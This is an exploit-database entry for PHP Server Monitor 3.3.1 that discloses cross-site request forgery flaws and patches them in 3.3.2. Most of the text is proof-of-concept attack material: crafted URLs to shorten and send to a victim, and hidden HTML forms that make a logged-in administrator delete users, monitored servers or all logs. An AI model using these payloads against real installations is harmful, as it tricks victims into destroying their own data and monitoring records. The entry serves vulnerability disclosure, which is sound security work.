PHP Server Monitor 3.3.1 - Cross-Site Request Forgery

EDB-ID: 45932
Author: Javier Olmedo
Published: 2018-12-03
CVE: N/A
Type: Webapps
Platform: PHP
Aliases: N/A
Advisory/Source: N/A
Tags: Cross-Site Request Forgery (CSRF)
Vulnerable App: Download Vulnerable Application

 # Exploit Author: Javier Olmedo 
# Website: https://www.sidertia.com
# Date: 2018-11-28
# Google Dork: N/A
# Vendor: https://www.phpservermonitor.org/
# Software Link: https://github.com/phpservermon/phpservermon/releases/tag/v3.3.1
# Affected Version: 3.3.1 and possibly before
# Patched Version: update to 3.3.2
# Category: Web Application
# Platform: Windows & Ubuntu
# Tested on: Win10x64 & Kali Linux
# CVE: N/A
# References:
# https://github.com/phpservermon/phpservermon/issues/670
# https://www.sidertia.com/Home/Community/Blog/2018/11/28/Corregidas-las-vulnerabilidades-CSRF-descubiertas-en-PHP-Server-Monitor

# 1. Technical Description:
# PHP Server Monitor version 3.3.1 and possibly before are affected by multiple
# Cross-Site Request Forgery vulnerability, an attacker could remove users, logs,
# and servers.

# 2.1 Proof Of Concept (Delete User):

(Method 1)
Use Google URL Shortener (or similar) to shorten the next url (http://[PATH]/?&mod=user&action=delete&id=[ID]) and send it to the victim.

(Method 2)
Use next form and send it tho the victim.
<html>
<body>
<script>history.pushState('', '', '/')</script>
<form action="http://[PATH]/">
<input type="hidden" name="mod" value="user" />
<input type="hidden" name="action" value="delete" />
<input type="hidden" name="id" value="[ID]" />
<input type="submit" value="Delete User" />
</form>
</body>
</html>

# 2.2 Proof Of Concept (Delete Server):

(Method 1)
Use Google URL Shortener (or similar) to shorten the next url (http://[PATH]/?&mod=server&action=delete&id=[ID]) and send it to the victim.

(Method 2)
Use next form and send it tho the victim.
<html>
<body>
<script>history.pushState('', '', '/')</script>
<form action="http://[PATH]/">
<input type="hidden" name="mod" value="server" />
<input type="hidden" name="action" value="delete" />
<input type="hidden" name="id" value="[ID]" />
<input type="submit" value="Delete Server" />
</form>
</body>
</html>

# 2.3 Proof Of Concept (Delete All Logs):

(Method 1)
Use Google URL Shortener (or similar) to shorten the next url (http://[PATH]/?&mod=server_log&action=delete) and send it to the victim.

(Method 2)
Use next form and send it tho the victim.
<html>
<body>
<script>history.pushState('', '', '/')</script>
<form action="http://[PATH]/">
<input type="hidden" name="mod" value="server&#95;log" />
<input type="hidden" name="action" value="delete" />
<input type="submit" value="Delete All Logs" />
</form>
</body>
</html>

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